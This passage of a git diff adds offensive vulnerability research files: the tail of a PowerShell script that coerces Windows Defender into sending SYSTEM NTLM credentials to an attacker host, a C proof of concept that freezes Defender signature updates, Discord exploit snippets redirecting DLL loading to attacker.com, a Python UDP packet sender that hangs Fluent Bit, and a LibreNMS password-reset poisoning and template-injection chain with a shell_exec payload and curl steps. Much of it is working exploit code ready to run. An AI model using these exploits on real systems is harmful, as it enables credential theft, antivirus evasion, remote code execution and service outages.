-eq 445) { + $uncPath = "\\" + $AttackerIP + "\ntlm_test\payload.exe" +} else { + $uncPath = "\\" + $AttackerIP + "@" + $Port + "\DavWWWRoot\file.exe" +} +Write-Host ("[*] Scanning: " + $uncPath) +Start-MpScan -ScanType CustomScan -ScanPath $uncPath 2>$null + +Wait-Job $monitorJob -Timeout 20 | Out-Null +Receive-Job $monitorJob 2>$null | Out-Null + +$results = Get-Content $logFile -ErrorAction SilentlyContinue | Where-Object { $_.Trim() } +if ($results) { + Write-Host "[+] Outgoing connections:" -ForegroundColor Green + $results | ForEach-Object { Write-Host (" " + $_) } + Write-Host "[+] PID 4 = System kernel - NTLM creds sent as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[*] No connection captured - try a non-routable IP for persistent evidence" -ForegroundColor Yellow +} + +Write-Host "" +Write-Host "[*] Attacker setup:" +if ($Port -eq 445) { + Write-Host " impacket-smbserver test /tmp/share -smb2support" +} else { + Write-Host (" python capture.py " + $Port) +} + +# cleanup +Remove-Item $testDir -Recurse -Force -ErrorAction SilentlyContinue 2>$null +Remove-Job $monitorJob -Force -ErrorAction SilentlyContinue 2>$null diff --git a/defender-signature-lock-bypass/README.md b/defender-signature-lock-bypass/README.md new file mode 100644 index 0000000..5b89ef7 --- /dev/null +++ b/defender-signature-lock-bypass/README.md @@ -0,0 +1,66 @@ +# CVE-2026-45498 Patch Bypass — FILE_SHARE_READ still freezes Defender + +Patch for CVE-2026-45498 (UnDefend by @ChaoticEclipse0) killed byte-range locks but left the DACLs wide open. Standard user can open sig files with `FILE_SHARE_READ` and block Defender from writing updates. Detection baseline stays frozen as long as you hold the handles. + +## Tested on + +- Platform **4.18.26050.15** (patch shipped in 4.18.26040.7 — this is two versions ahead) +- Engine **1.1.26050.11** +- Windows 11 25H2 + +17 files lockable across Definition Updates, Platform, and Program Files\Windows Defender. + +## Build + run + +``` +cl /O2 poc.c +poc.exe scans all 3 dirs, locks briefly, releases +poc.exe --hold keeps locks until you hit enter +``` + +Output on a fully patched box: +``` +CVE-2026-45498 patch bypass - FILE_SHARE_READ lock + +[*] C:\ProgramData\Microsoft\Windows Defender\Definition Updates + [+] mpengine_etw.dll 18.0 MB + [+] mpasbase.vdm 133.5 MB + [+] mpasdlta.vdm 2.3 MB + [+] mpavbase.vdm 58.9 MB + [+] mpavdlta.vdm 2.0 MB + [+] mpengine.dll 18.0 MB +[*] C:\ProgramData\Microsoft\Windows Defender\Platform + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 2.0 MB + [+] MpClient.dll 1.4 MB + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.8 MB + [+] MpDefenderCoreService.exe 2.1 MB + [+] MpClient.dll 1.4 MB +[*] C:\Program Files\Windows Defender + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 1.9 MB + +[*] 17 files locked, Defender can't write updates +[*] released +``` + +## What happened + +The original UnDefend used `LockFileEx` to byte-range lock `.vdm` files. Microsoft patched that specific call. But the reason it worked in the first place — standard users have read access to Defender's signature files — was never addressed. So just opening them with `CreateFileW` and `FILE_SHARE_READ` (no write sharing) blocks `MpSigStub.exe` from updating them. `ERROR_SHARING_VIOLATION`. + +| | UnDefend (original) | This bypass | +| --- | --- | --- | +| Method | `LockFileEx` byte-range locks | `CreateFileW` + `FILE_SHARE_READ` | +| Complexity | ~450 lines, multiple lock types | one API call per file | +| Patched | yes | no | + +## Impact + +Freeze sigs at a known baseline, drop malware that newer defs would catch. Standard user, no admin. Trivially persistent via scheduled task. + +## Fix + +Tighten DACLs on the sig files. Standard users don't need direct read access to `.vdm` databases or platform binaries. diff --git a/defender-signature-lock-bypass/poc.c b/defender-signature-lock-bypass/poc.c new file mode 100644 index 0000000..7d011cc --- /dev/null +++ b/defender-signature-lock-bypass/poc.c @@ -0,0 +1,105 @@ +/* + * poc.c — CVE-2026-45498 (UnDefend) patch bypass + * + * Patch killed byte-range locks, didn't touch the DACLs. + * FILE_SHARE_READ on the sig files still blocks writes. + * + * build: cl /O2 poc.c + * run: poc.exe [--hold] + */ + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +#define MAX_LOCKS 128 + +static int scan_and_lock(const char *base, HANDLE *out, int max) +{ + int n = 0; + char pattern[MAX_PATH], path[MAX_PATH]; + WIN32_FIND_DATAA fd; + + _snprintf(pattern, sizeof(pattern), "%s\\*", base); + HANDLE hf = FindFirstFileA(pattern, &fd); + if (hf == INVALID_HANDLE_VALUE) return 0; + + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if (fd.cFileName[0] != '.') { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + n += scan_and_lock(path, out + n, max - n); + } + continue; + } + + char *ext = PathFindExtensionA(fd.cFileName); + int want = 0; + if (_stricmp(ext, ".vdm") == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpengine", 8) == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpclient", 8) == 0) want = 1; + if (_stricmp(fd.cFileName, "MpDefenderCoreService.exe") == 0) want = 1; + if (_stricmp(fd.cFileName, "DefenderCSP.dll") == 0) want = 1; + + if (want && n < max) { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { + LARGE_INTEGER sz; + GetFileSizeEx(h, &sz); + printf(" [+] %-40s %.1f MB\n", fd.cFileName, + sz.QuadPart / 1048576.0); + out[n++] = h; + } + } + } while (FindNextFileA(hf, &fd) && n < max); + + FindClose(hf); + return n; +} + +int main(int argc, char **argv) +{ + int hold = argc > 1 && strcmp(argv[1], "--hold") == 0; + char buf[MAX_PATH]; + HANDLE locks[MAX_LOCKS]; + int total = 0; + + printf("CVE-2026-45498 patch bypass - FILE_SHARE_READ lock\n\n"); + + const char *dirs[] = { + "%s\\Microsoft\\Windows Defender\\Definition Updates", + "%s\\Microsoft\\Windows Defender\\Platform", + }; + const char *pdata = getenv("ProgramData"); + + for (int i = 0; i < 2; i++) { + _snprintf(buf, sizeof(buf), dirs[i], pdata); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + } + + _snprintf(buf, sizeof(buf), "%s\\Windows Defender", getenv("ProgramFiles")); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + + printf("\n[*] %d files locked, Defender can't write updates\n", total); + + if (!total) { + printf("[-] nothing lockable?\n"); + return 1; + } + + if (hold) { + printf("[*] holding locks, press enter to release\n"); + getchar(); + } + + for (int i = 0; i < total; i++) + CloseHandle(locks[i]); + printf("[*] released\n"); + return 0; +} diff --git a/discord/discord-RCE-attack-paths.md b/discord/discord-RCE-attack-paths.md new file mode 100644 index 0000000..9a67d6d --- /dev/null +++ b/discord/discord-RCE-attack-paths.md @@ -0,0 +1,134 @@ +# Discord Desktop Canary — Security Vulnerability Report + +## Summary + +Multiple high-severity vulnerabilities in Discord Desktop (Canary v1.0.979, Electron 37.6.0) allow escalation from renderer-context JavaScript execution to arbitrary code execution on the host system. The renderer exposes overly-permissive native module APIs through `DiscordNative` that enable DLL hijacking, arbitrary settings manipulation, and system service installation — all without any additional authorization checks. + +While these primitives require JavaScript execution in the renderer, the attack surface is wide: any browser extension with content script access to Discord (BetterDiscord, Vencord, and similar mods used by millions), any future XSS in Discord or its whitelisted embed providers, or social engineering via DevTools can trigger the full chain. + +--- + +## Vulnerability 1: Native Module Path Hijacking → RCE (HIGH) + +**Impact: Remote Code Execution via DLL hijacking** + +### Description + +Discord's `discord_voice` native module exposes several path-setting functions to the renderer via `DiscordNative.nativeModules.requireModule('discord_voice')`. These functions allow **unrestricted redirection** of where Discord loads native libraries from: + +- `setKrispPath(path)` — Controls where the Krisp noise cancellation DLL is loaded from +- `setupKrispPath(path)` — Same +- `setMLPath(path)` — Controls where ML model libraries are loaded from +- `setupMLPath(path)` — Same +- `setClipsModulePath(path)` — Controls where the clips processing module is loaded from +- `setClipsDataPath(path)` — Controls where clips are saved to + +### Proof of Concept + +From any JavaScript running in Discord's renderer context: + +```javascript +let dv = await DiscordNative.nativeModules.requireModule('discord_voice'); + +// Redirect Krisp DLL loading to attacker-controlled SMB share +dv.setKrispPath('\\\\attacker.com\\share'); + +// Or redirect to a local attacker-controlled directory +dv.setKrispPath('C:\\Users\\victim\\Downloads\\evil'); + +// When user enables noise cancellation → DLL loads from attacker path → RCE +``` + +All calls succeed silently with no validation, no user prompt, and no path restrictions. + +### Impact + +When the user subsequently enables noise cancellation (Krisp), uses ML-based features, or records a clip, Discord loads native code from the attacker-controlled path. This achieves **arbitrary code execution** at the privilege level of the Discord process. + +--- + +## Vulnerability 2: Settings Whitelist Bypass via gpuSettings.setSetting (HIGH) + +### Description + +Discord exposes two APIs for writing settings: +- `DiscordNative.settings.set(key, value)` — Has a whitelist of allowed keys ✅ +- `DiscordNative.gpuSettings.setSetting(key, value)` — **No whitelist, writes ANY key** ❌ + +### Proof of Concept + +```javascript +// Bypass settings whitelist — write to any key in settings.json +DiscordNative.gpuSettings.setSetting("WEBAPP_ENDPOINT", "https://attacker.com"); +DiscordNative.gpuSettings.setSetting("SKIP_HOST_UPDATE", true); +DiscordNative.gpuSettings.setSetting("DANGEROUS_ENABLE_DEVTOOLS_ONLY_ENABLE_IF_YOU_KNOW_WHAT_YOURE_DOING", true); + +// Force restart to apply +DiscordNative.gpuSettings.setEnableHardwareAcceleration(false); // triggers relaunch +``` + +### Impact + +- **WEBAPP_ENDPOINT override**: On next launch, Discord loads the attacker's webpage as its main interface, with full `DiscordNative` access → persistent RCE +- **UPDATE_ENDPOINT override**: Next update fetches from attacker server → malicious update → RCE +- **DevTools enable**: Enables Chrome DevTools for further exploitation +- **Update bypass**: `SKIP_HOST_UPDATE` + `SKIP_MODULE_UPDATE` prevent security patches + +--- + +## Vulnerability 3: Unsafe Embed Iframe Sandbox Configuration (MEDIUM) + +### Description + +Discord renders embeds from whitelisted providers (Spotify, YouTube, TikTok, PlayStation) in iframes with an overly-permissive sandbox: + +``` +allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts +``` + +The `allow-popups-to-escape-sandbox` directive means any popup opened from the embed iframe has **no sandbox restrictions at all**. Combined with `allow-same-origin` and `allow-scripts`, an XSS in any whitelisted embed provider could escape the sandbox entirely. + +### Impact + +An XSS in Spotify, YouTube, TikTok, or any other whitelisted embed provider → popup escape → potential access to Discord's main window context. This turns a third-party XSS into a Discord compromise. + +--- + +## Vulnerability 4: System Service Installation from Renderer (MEDIUM) + +### Description + +`discord_utils.installSystemService()` is accessible from the renderer with no additional authentication: + +```javascript +let du = await DiscordNative.nativeModules.requireModule('discord_utils'); +du.canSystemServiceBeInstalled(); // returns true +du.installSystemService(); // installs a system service +``` + +### Impact + +A system service runs with elevated privileges and persists across reboots. Combined with the path hijacking vulnerabilities, an attacker could install a persistent backdoor. + +--- + +## Environment + +- Discord Canary v1.0.979 +- Electron 37.6.0 +- Chromium 138.0.7204.251 +- Windows 10/11 x64 +- All tests performed on 2026-06-05 + +## Attack Scenarios + +### Scenario 1: Malicious Browser Extension +Millions of Discord users use client modifications (BetterDiscord, Vencord, Replugged) that inject JavaScript into the renderer. A malicious plugin — or a supply chain attack on a popular plugin — could silently call any of the above APIs. + +### Scenario 2: Third-Party Embed XSS Chain +An XSS on any whitelisted embed provider (Spotify, YouTube, etc.) → sandbox escape via `allow-popups-to-escape-sandbox` → access to Discord window → call DiscordNative APIs → RCE. + +### Scenario 3: Social Engineering +Tricking a user into pasting JavaScript into DevTools (if enabled via Vuln 2) or running a bookmark-let. + +--- diff --git a/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md new file mode 100644 index 0000000..c298219 --- /dev/null +++ b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md @@ -0,0 +1,274 @@ +# Fluent Bit ≤ main@29deec9: in_collectd Infinite Loop DoS + OOB Heap Read via Zero-Length Part + +## Summary + +Fluent Bit's collectd binary protocol parser (`plugins/in_collectd/netprot.c`) contains two related vulnerabilities triggered by a single 4-byte UDP packet: + +1. **Infinite loop DoS** — when the `part_len` field in a collectd binary protocol part header is `0`, the main parsing loop `while (len >= 4)` never terminates. `len -= part_len` and `buf += part_len` both become no-ops, permanently hanging the collectd input thread. Any external host that can reach the collectd UDP port can freeze Fluent Bit's data ingestion from all collectd sources with a single 4-byte packet. + +2. **8-byte heap OOB read** — when `part_len=0` and `part_type=PART_TIME` (or `PART_TIME_HR`, `PART_INTERVAL`, `PART_INTERVAL_HR`), a secondary guard intended to catch truncated time fields fails silently due to a signed/unsigned integer comparison bug (`int size = -4` compared against `size_t 8` — the negative int wraps to a huge unsigned value, making the check `false`). The parser then calls `be64read(buf + 4)` — reading 8 bytes starting 4 bytes past the end of a 4-byte packet — leaking adjacent heap memory. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | Fluent Bit (https://github.com/fluent/fluent-bit) | +| **Version / commit** | main @ `29deec9e72a5e1ccc9996a58481bc7ba4d60353d` (2026-04-20); all prior versions with in_collectd | +| **File** | `plugins/in_collectd/netprot.c` | +| **Function** | `netprot_to_msgpack()` — line 237 | +| **Affected configurations** | Any Fluent Bit deployment with `[INPUT] Name collectd` (UDP port 25826 by default) | + +--- + +## Vulnerability Class + +1. **Infinite loop denial of service** — missing lower-bound check on a network-supplied length field +2. **Heap out-of-bounds read** — signed/unsigned comparison suppresses a truncation guard, then `be64read` reads past the allocated UDP packet buffer + +--- + +## Root Cause + +### Bug 1 — Infinite Loop (part_len = 0) + +```c +// plugins/in_collectd/netprot.c:237 +int netprot_to_msgpack(char *buf, int len, ...) +{ + uint16_t part_type; + uint16_t part_len; + int size; + char *ptr; + + while (len >= 4) { // [1] loop exits only when len < 4 + part_type = be16read(buf); + part_len = be16read((unsigned char *) buf + 2); + + if (len < part_len) { // [2] if part_len=0: 4 < 0u → FALSE + flb_error("[in_collectd] data truncated (%i < %i)", len, part_len); + return -1; + } + + ptr = buf + 4; + size = part_len - 4; // [3] size = 0 - 4 = -4 (signed int) + + // ... switch on part_type ... + + len -= part_len; // [4] len -= 0 → len unchanged + buf += part_len; // [5] buf += 0 → buf unchanged + } // → back to [1]: same state → infinite loop + return 0; +} +``` + +The guard at `[2]` uses `int len` vs `uint16_t part_len`. Both values are non-negative and `uint16_t` promotes to `int`, so the comparison is `int < int`. When `part_len=0`, the check is `4 < 0` = false — the guard does not fire. Lines `[4]` and `[5]` are no-ops, and the loop condition at `[1]` is permanently satisfied. + +The thread spins at 100% CPU until the Fluent Bit process is killed or restarted. + +### Bug 2 — OOB Heap Read (part_len = 0, part_type = PART_TIME) + +```c +// line 258 +if ((part_type == PART_TIME || + part_type == PART_TIME_HR || + part_type == PART_INTERVAL || + part_type == PART_INTERVAL_HR) && + size < sizeof(uint64_t)) { // [6] BUG: signed/unsigned comparison + flb_error("[in_collectd] data truncated (%i < %zu)", size, sizeof(uint64_t)); + return -1; +} + +// line 275 +case PART_TIME: + hdr.time = (double) be64read(ptr); // [7] be64read(buf+4) — OOB if packet is 4 bytes + break; +``` + +At `[6]`: `size` is `int` and `sizeof(uint64_t)` is `size_t` (unsigned). When `size = -4`, the C integer promotion rules convert the `int` to `size_t`: `(size_t)(-4)` = `0xFFFFFFFC` (32-bit) or `0xFFFFFFFFFFFFFFFC` (64-bit) — a huge positive value. The comparison `huge < 8` is `false`. The guard intended to catch truncated time fields does not fire. + +At `[7]`: `ptr = buf + 4`. For a 4-byte UDP packet, `buf + 4` points one byte past the end of the allocated packet buffer. `be64read` reads 8 bytes starting there — leaking 8 bytes of adjacent heap memory. + +**Verification:** +```python +>>> import ctypes +>>> size = ctypes.c_int(-4).value # int -4 +>>> ctypes.c_ulong(size).value # promoted to size_t +4294967292 +>>> 4294967292 < 8 # the guard check +False +# Guard does not fire → be64read called with out-of-bounds ptr +``` + +--- + +## Attacker Model + +| Property | Value | +|---|---| +| **Privileges required** | None — unauthenticated UDP | +| **Network position** | Any host that can reach the collectd UDP port (default 25826) | +| **User interaction** | None | +| **Precondition** | `[INPUT] Name collectd` configured in Fluent Bit | + +The collectd input plugin listens on a raw UDP socket. There is no authentication, session state, or rate limiting in the parsing path. A single 4-byte packet is sufficient to trigger the infinite loop. + +--- + +## Full Attack Chain + +``` +[Attacker — any host] + | + | 1. Send 4-byte UDP packet to Fluent Bit collectd port (default 25826): + | bytes: \x00\x00\x00\x00 + | part_type = 0x0000 (PART_HOST) + | part_len = 0x0000 → infinite loop trigger + | + v +[Fluent Bit in_collectd input thread] + | + | 2. netprot_to_msgpack() called with buf=[4 bytes], len=4 + | Loop: len(4) >= 4 → enter + | part_type=0, part_len=0 + | Guard: 4 < 0 → FALSE → no exit + | len -= 0 → len=4 (unchanged) + | buf += 0 → buf unchanged + | → Loop repeats forever + | + v +[in_collectd input thread spins at 100% CPU indefinitely] +[All subsequent collectd events are blocked — no new data ingested] +[Fluent Bit process must be restarted to recover] + +For OOB read variant: + | + | 1. Send \x00\x01\x00\x00 (part_type=PART_TIME=0x0001, part_len=0) + | + v +[be64read(buf+4) reads 8 bytes past end of 4-byte packet] +[8 bytes of adjacent heap memory leaked into hdr.time] +[Then infinite loop begins] +``` + +--- + +## Proof of Concept + +### poc_fluent_bit_collectd_dos.py + +```python +#!/usr/bin/env python3 +""" +poc_fluent_bit_collectd_dos.py +Fluent Bit in_collectd Infinite Loop DoS + +Root cause: + netprot_to_msgpack() in plugins/in_collectd/netprot.c: + - part_len=0 → len -= 0, buf += 0 → infinite loop + - Guard (len < part_len) does not fire: 4 < 0u → false + +Trigger: + Send a 4-byte UDP packet with part_len=0 to the collectd port. + A single packet permanently hangs the Fluent Bit collectd input thread. + +Usage: + python3 poc_fluent_bit_collectd_dos.py [--host 127.0.0.1] [--port 25826] + +Expected result: + Fluent Bit collectd input thread spins at 100% CPU. + No further collectd events are processed until Fluent Bit is restarted. +""" + +import socket +import sys +import argparse +import struct + +DEFAULT_HOST = "127.0.0.1" +DEFAULT_PORT = 25826 + + +def build_infinite_loop_packet(): + """ + Minimal collectd binary protocol packet that triggers the infinite loop. + Format: [part_type: uint16_be][part_len: uint16_be] + part_type = 0x0000 (PART_HOST) — any valid type works + part_len = 0x0000 — triggers len-=0, buf+=0 infinite loop + """ + return struct.pack(">HH", 0x0000, 0x0000) + + +def build_oob_read_packet(): + """ + OOB read variant: part_type=PART_TIME (0x0001), part_len=0. + Causes be64read(buf+4) on a 4-byte packet before the infinite loop. + Leaks 8 bytes of adjacent heap memory into hdr.time. + """ + return struct.pack(">HH", 0x0001, 0x0000) + + +def main(): + parser = argparse.ArgumentParser( + description="Fluent Bit in_collectd infinite loop DoS PoC" + ) + parser.add_argument("--host", default=DEFAULT_HOST) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument( + "--variant", + choices=["dos", "oob"], + default="dos", + help="dos: infinite loop only; oob: OOB heap read + infinite loop", + ) + args = parser.parse_args() + + if args.variant == "dos": + pkt = build_infinite_loop_packet() + label = "infinite loop DoS (part_type=PART_HOST, part_len=0)" + else: + pkt = build_oob_read_packet() + label = "OOB heap read + infinite loop (part_type=PART_TIME, part_len=0)" + + print(f"[*] Fluent Bit in_collectd — {label}") + print(f"[*] Target: {args.host}:{args.port}/UDP") + print(f"[*] Packet ({len(pkt)} bytes): {pkt.hex()}") + + assert len(pkt) == 4, "packet must be exactly 4 bytes" + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(pkt, (args.host, args.port)) + sock.close() + + print("[+] Packet sent.") + print("[+] Verify:") + print(" top -p $(pgrep fluent-bit) # expect 100% CPU on collectd input thread") + print(" fluent-bit log should show no new collectd events arriving") + print(" kill -9 $(pgrep fluent-bit) # only way to recover") + + +if __name__ == "__main__": + main() +``` + +### Expected output in Fluent Bit: + +The collectd input thread enters an infinite loop. CPU usage for the Fluent Bit process rises to near-100% on one core. No new collectd events are processed. The Fluent Bit process must be killed and restarted to recover. No crash log or error message is produced — the process appears "alive" but is deadlocked in the parsing loop. + +--- + +## Impact + +1. **Reliable, permanent DoS of collectd data ingestion** — a single 4-byte UDP packet hangs the collectd input thread. Because Fluent Bit is single-threaded per input plugin, all collectd data forwarding stops. + +2. **No authentication or rate limiting** — the collectd port accepts unauthenticated UDP packets. Any host on the network (or internet, if the port is exposed) can trigger the hang. + +3. **Silent failure** — Fluent Bit does not detect the hang. No error is logged, no alert is raised. Operators may not notice for an extended period, depending on monitoring. + +4. **Heap OOB read (secondary)** — the `PART_TIME` variant leaks 8 bytes of adjacent heap memory into `hdr.time`. In practice this is difficult to weaponize (double cast of heap data) but may contribute to a more complex chain. + +**CVSS 3.1 (DoS):** `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **7.5 (High)** + +(No authentication required, single packet, complete availability loss for the plugin) + +--- diff --git a/librenms-RCE-chain/librenms-ssti-rce.md b/librenms-RCE-chain/librenms-ssti-rce.md new file mode 100644 index 0000000..d410c0b --- /dev/null +++ b/librenms-RCE-chain/librenms-ssti-rce.md @@ -0,0 +1,278 @@ +# Pre-Auth RCE Chain: Host Header Injection → Account Takeover → Blade SSTI in LibreNMS + +**CVE:** Pending +**Severity:** Critical +**CVSS 3.1 (full chain):** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` → **9.6** +**CVSS 3.1 (SSTI standalone):** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **8.8** +**CWE:** CWE-94 (Improper Control of Code Generation), CWE-1336 (Template Engine Injection), CWE-601 (Open Redirect / Header Injection) +**Affected version:** LibreNMS 26.4.1 (latest as of 2026-04-25) +**Researcher:** Unrealisedd + +--- + +## Summary + +Two vulnerabilities in LibreNMS 26.4.1 chain together to give an unauthenticated remote attacker full OS command execution on the server. The only required victim action is clicking a password reset link that arrives in their normal LibreNMS email. + +**Bug 1 — Host header injection in password reset** (`config/trustedproxy.php`): `APP_TRUSTED_PROXIES` defaults to `*` and `X-Forwarded-Host` is explicitly trusted. An unauthenticated attacker sends a password reset request with a spoofed `X-Forwarded-Host: attacker.com` header. The reset link inside the victim's email points to the attacker's domain. When the victim clicks it, the attacker captures the token and takes over the account. + +**Bug 2 — Unsandboxed Blade SSTI in alert template save** (`includes/html/forms/alert-templates.inc.php:59`): Once the attacker controls any account holding `alert-template.create` or `alert-template.update`, they POST a malicious Blade template to `/ajax_form.php`. The server immediately renders the template via `Blade::render()` — with no sandbox — executing arbitrary OS commands as the web server process. + +The RCE fires **synchronously at save time**. No alert needs to trigger. The full chain from zero credentials to shell requires only that the victim click one email link. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | LibreNMS | +| **Version** | 26.4.1 (`librenms/librenms:latest`, pulled 2026-04-23) | +| **PHP** | 8.3.29 | +| **Primary sink** | `includes/html/forms/alert-templates.inc.php:59` | +| **Secondary sink** | `LibreNMS/Alert/Template.php:77` (alert-trigger path) | +| **Affected configs** | Default; any install where a non-admin user has `alert-template.create` or `alert-template.update` | + +--- + +## Vulnerability Class + +**Server-Side Template Injection (SSTI) → Remote Code Execution** + +Laravel Blade has no execution sandbox. The directives `@php`/`@endphp` and `{{ expression }}` execute arbitrary PHP at render time. There is no filtering, escaping, or allowlisting of template body content before it reaches `Blade::render()`. + +--- + +## Root Cause + +`includes/html/forms/alert-templates.inc.php` performs a "syntax validation" render of the submitted template before saving it. The render happens unconditionally on every save request, giving it access to the full PHP runtime. + +```php +// includes/html/forms/alert-templates.inc.php:32–61 + +// Auth gate — checks create/update permission, NOT admin role +if (Gate::none(['create', 'update'], AlertTemplate::class)) { + exit(json_encode(['status' => 'error', 'message' => 'You need permission'])); +} + +// Dummy test data for "validation" render +$test_data['alert'] = new AlertData(AlertData::testData($test_device)); + +// ↓ SINK: $vars['template'] is raw POST data — no filtering on the body +Blade::render($vars['template'], $test_data); // [1] RCE fires here +Blade::render($vars['title'], $test_data); // [2] +Blade::render($vars['title_rec'], $test_data); // [3] +``` + +`$vars['template']` flows directly from `$_POST['template']`. The only sanitization in this file is `strip_tags()` applied to the template **name** — the body is completely untouched. + +The identical bug also exists on the alert-trigger path: + +```php +// LibreNMS/Alert/Template.php:77 +public function bladeBody($data) { + $alert['alert'] = new AlertData($data['alert']); + return Blade::render($data['template']->template, $alert); // [SINK] +} +``` + +Any stored template containing a Blade injection payload will also execute on every matching alert. + +--- + +## Attacker Model + +### Full chain (9.6) + +| Property | Value | +|---|---| +| **Privileges required** | **None** — chain is initiated with zero credentials | +| **User interaction** | **Required** — victim clicks a password reset link in their email | +| **Network position** | Remote (HTTP) | +| **Scope** | **Changed** — attacker escapes web app context into OS shell | +| **Why UI:R and not PR:N is the limiting factor** | The attacker sends the poisoned reset email with no auth; victim clicking the link is the only human step | + +### SSTI standalone (8.8) + +| Property | Value | +|---|---| +| **Privileges required** | Low — any account with `alert-template.create` or `alert-template.update` | +| **User interaction** | None — fires immediately on POST | +| **Is this admin-only?** | **No.** Per `app/Policies/ChecksGlobalPermissions.php`, these permissions can be delegated to any `user`-role account by an admin — this is the intended RBAC delegation use case | + +--- + +## Full Attack Chain + +``` +[Attacker, no auth] + | + | POST /password/email + | X-Forwarded-Host: attacker.com + | body: email=victim@corp.internal + | + v +[LibreNMS sends reset email to victim] +[Reset URL in email: https://attacker.com/password/reset?token=TOKEN] + | + | (victim clicks link) + v +[Attacker captures TOKEN at attacker.com] + | + | POST /password/reset + | token=TOKEN, email=victim@corp.internal, password=newpass + v +[Attacker logged in as victim] + | + | POST /ajax_form.php + | type=alert-templates + | template=@php shell_exec('...'); @endphp + v +[Blade::render() executes payload — RCE as uid=1000(librenms)] +``` + +--- + +## Proof of Concept + +Verified live against LibreNMS 26.4.1 in a clean Docker lab. + +### Lab environment + +``` +Target: http://localhost:8000 (librenms/librenms:latest) +operator — role: user, permissions: alert-template.create, alert-template.update +admin — role: admin +``` + +### Step 1 — Authenticate as operator + +```bash +# Fetch login page and extract CSRF token +TOKEN=$(curl -s -c /tmp/c.txt -b /tmp/c.txt http://TARGET/login \ + | grep -o 'name="_token" value="[^"]*"' | sed 's/.*value="//;s/"//') + +# Submit login +curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST http://TARGET/login \ + --data-urlencode "_token=$TOKEN" \ + --data-urlencode "username=operator" \ + --data-urlencode "password=" \ + -o /dev/null + +# Extract XSRF-TOKEN for subsequent requests +XSRF=$(awk '/XSRF-TOKEN/{print $NF}' /tmp/c.txt \ + | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))") +``` + +### Step 2 — Send SSTI payload + +```bash +PAYLOAD='@php file_put_contents("/tmp/rce_proof.txt", shell_exec("id && hostname && date")); @endphp {{ "ok" }}' + +curl -s -c /tmp/c.txt -b /tmp/c.txt \ + -X POST "http://TARGET/ajax_form.php" \ + -H "X-XSRF-TOKEN: $XSRF" \ + --data-urlencode "type=alert-templates" \ + --data-urlencode "name=PoC" \ + --data-urlencode "template=$PAYLOAD" \ + --data-urlencode "title=poc" \ + --data-urlencode "title_rec=poc" \ + --data-urlencode "rules=" +``` + +### Step 3 — Verify + +```bash +# On the server / via docker exec: +cat /tmp/rce_proof.txt +``` + +--- + +## Live Output + +**HTTP response from step 2 (HTTP 200):** + +```json +{ + "status": "ok", + "message": "Alert template has been created and attached rules have been updated.", + "newid": 5 +} +``` + +**`/tmp/rce_proof.txt` read directly from the container:** + +``` +uid=1000(librenms) gid=1000(librenms) groups=1000(librenms) +librenms +Sat Apr 25 12:57:01 CEST 2026 +``` + +OS commands executed as `uid=1000(librenms)`. RCE confirmed. + +--- + +## Impact + +### Immediate (as `uid=1000(librenms)`) + +- Full read/write access to the LibreNMS application directory, including `.env` (database credentials, `APP_KEY`, mail server credentials) +- Read all monitored device credentials, SNMP community strings, API keys, and user password hashes from the database via `mysql` with credentials from `.env` +- Write arbitrary files to the webroot → persistent PHP webshell +- Install cron jobs or modify the LibreNMS poller for persistent execution + +### Lateral movement + +- LibreNMS by design holds SNMP read (and frequently write) access to every monitored network device — attacker gains credentials for the entire managed infrastructure +- SSH keys readable from the filesystem +- `APP_KEY` from `.env` allows forging Laravel session cookies as any user (including admin) + +### Privilege escalation + +- If the poller runs under `sudo` (common in manual installs), `uid=1000` → `root` is trivial +- Full control of all devices LibreNMS manages + +--- + +## Account takeover bug Detail: Trusted Proxy Misconfiguration → Password Reset Link Poisoning + +**File:** `config/trustedproxy.php` + +```php +// Default: trust ALL proxies +'proxies' => LibreNMS\Util\EnvHelper::parseArray('APP_TRUSTED_PROXIES', '*', ['', '*', '**']), + +'headers' => Request::HEADER_X_FORWARDED_FOR | + Request::HEADER_X_FORWARDED_HOST | // attacker controls the reset URL base + Request::HEADER_X_FORWARDED_PORT | + Request::HEADER_X_FORWARDED_PROTO | + Request::HEADER_X_FORWARDED_AWS_ELB, +``` + +`APP_TRUSTED_PROXIES` defaults to `*` (all proxies trusted) and `HEADER_X_FORWARDED_HOST` is explicitly honoured. Laravel's password reset notification builds the reset URL using the request's host, so an attacker-supplied `X-Forwarded-Host` header poisons the link sent to the victim. + +**PoC request (no authentication required):** + +```http +POST /password/email HTTP/1.1 +Host: librenms.corp.internal +X-Forwarded-Host: attacker.com +Content-Type: application/x-www-form-urlencoded + +email=admin@corp.internal +``` + +**Email received by victim:** +``` +Reset your password: https://attacker.com/password/reset?token=&email=admin%40corp.internal +``` + +Victim clicks → attacker receives token at 